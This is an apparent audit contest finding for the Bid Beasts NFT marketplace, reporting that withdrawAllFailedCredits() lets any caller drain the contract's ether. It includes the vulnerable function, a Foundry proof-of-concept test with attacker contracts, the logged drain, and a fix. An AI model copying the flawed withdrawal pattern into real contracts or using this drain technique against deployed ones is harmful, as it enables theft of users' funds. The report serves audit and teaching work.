Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

withdrawAllFailedCredits() allows msg.sender to drain marketplace of ether

crazycelery

withdrawAllFailedCredits() does not check if msg.sender is the _receiver + all ether in the marketplace can be drained

Description

  • In the withdrawAllFailedCredits() function the msg.sender should be able to only withdraw their own failed credits.

  • All ether in the marketplace can be drained

function withdrawAllFailedCredits(address _receiver) external {
@> // no check for whether msg.sender is the _receiver
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
​

Risk

Likelihood:

  • A victim 00 places a bid of 1.001 ether.

  • A victim 01 places a bid of 4 ether.

  • An attacker does a buy it now by placing a bid of 5.001 ether which is above the buyNowPrice of 5 ether.

  • Both victim 00 and victim 01 are smart contracts which does not have the receive() function so the ether are held by the marketplace.

  • The attacker calls withdrawAllFailedCredits() using the victim 00 address as the _receiver multiple times until all the ether in the marketplace is drained.

Impact:

  • All the ether in the marketplace is drained.

Proof of Concept

In src/Victim00.sol.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
contract Victim00 {
}

In src/Victim01.sol.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
contract Victim01 {
}

In src/Attacker00.sol.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
contract Attacker00 {
​
receive() external payable {
}
}

In test/BidBeastsMarketPlaceTest.t.sol.

import {console} from "forge-std/Test.sol";
​
function test_rejectEther() public {
​
Victim00 victim00 = new Victim00();
address victim00Address = address(victim00);
​
Victim01 victim01 = new Victim01();
address victim01Address = address(victim01);
​
Attacker00 attacker00 = new Attacker00();
address attacker00Address = address(attacker00);
​
vm.deal(victim00Address, STARTING_BALANCE);
vm.deal(victim01Address, STARTING_BALANCE);
vm.deal(attacker00Address, STARTING_BALANCE);
​
_mintNFT();
_listNFT();
​
// victim00 places a bid of MIN_PRICE + 0.001 ether
console.log("victim00 places a bid of MIN_PRICE + 0.001 ether");
uint256 bid_price = MIN_PRICE + 0.001 ether;
vm.prank(victim00Address);
market.placeBid{value: bid_price}(TOKEN_ID);
vm.stopPrank();
​
// victim01 places a bid of 4 ether
console.log("victim01 places a bid of 4 ether");
bid_price = 4 ether;
vm.prank(victim01Address);
market.placeBid{value: bid_price}(TOKEN_ID);
vm.stopPrank();
​
uint256 victim00Balance = victim00Address.balance;
console.log("victim00Balance");
console.log(victim00Balance);
​
uint256 victim01Balance = victim01Address.balance;
console.log("victim01Balance");
console.log(victim01Balance);
​
uint256 marketBalance = address(market).balance;
console.log("marketBalance");
console.log(marketBalance);
​
// attacker00 buys GDNFT 0 at BUY_NOW_PRICE + 0.001 ether
console.log("attacker00 buys GDNFT 0 at BUY_NOW_PRICE + 0.001 ether");
vm.startPrank(attacker00Address);
uint256 buyPrice = BUY_NOW_PRICE + 0.001 ether;
market.placeBid{value: buyPrice}(TOKEN_ID);
vm.stopPrank();
​
// victim00 does not have the recieve() function so can't receive ether
victim00Balance = victim00Address.balance;
console.log("victim00Balance 2");
console.log(victim00Balance);
​
// victim01 does not have the recieve() function so can't receive ether
victim01Balance = victim01Address.balance;
console.log("victim01Balance 2");
console.log(victim01Balance);
​
marketBalance = address(market).balance;
console.log("marketBalance 2");
console.log(marketBalance);
​
uint256 attacker00Balance = attacker00Address.balance;
console.log("attacker00Balance 2");
console.log(attacker00Balance);
​
uint256 sellerBalance = SELLER.balance;
console.log("sellerBalance");
console.log(sellerBalance);
​
// attacker00 withdraws victim00 failed credits 5 times to drain market
console.log("attacker00 withdraws victim00 failed credits 5 times to drain market");
vm.startPrank(attacker00Address);
market.withdrawAllFailedCredits(victim00Address);
market.withdrawAllFailedCredits(victim00Address);
market.withdrawAllFailedCredits(victim00Address);
market.withdrawAllFailedCredits(victim00Address);
market.withdrawAllFailedCredits(victim00Address);
vm.stopPrank();
​
attacker00Balance = attacker00Address.balance;
console.log("attacker00Balance 3");
console.log(attacker00Balance);
​
marketBalance = address(market).balance;
console.log("marketBalance 3");
console.log(marketBalance);
}
​

Run with:

forge test -vvv BidBeastsMarketPlaceTest.t.sol --match-test test_rejectEther

Sample output:

[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.20
[⠔] Solc 0.8.20 finished in 1.30s
Compiler run successful!
​
Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest
[PASS] test_rejectEther() (gas: 568733)
Logs:
victim00 places a bid of MIN_PRICE + 0.001 ether
victim01 places a bid of 4 ether
victim00Balance
98999000000000000000
victim01Balance
96000000000000000000
marketBalance
5001000000000000000
attacker00 buys GDNFT 0 at BUY_NOW_PRICE + 0.001 ether
victim00Balance 2
98999000000000000000
victim01Balance 2
96000000000000000000
marketBalance 2
5251000000000000000
attacker00Balance 2
95000000000000000000
sellerBalance
104750000000000000000
attacker00 withdraws victim00 failed credits 5 times to drain market
attacker00Balance 3
100005000000000000000
marketBalance 3
246000000000000000
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.91ms (1.72ms CPU time)
​
Ran 1 test suite in 10.10ms (2.91ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
​

Recommended Mitigation

In src/BidBeastsNFTMarketPlace.sol change withdrawAllFailedCredits() to use msg.sender as the _receiver.

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
​
Updates

Lead Judging Commences

cryptoghost Lead Judge 26 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.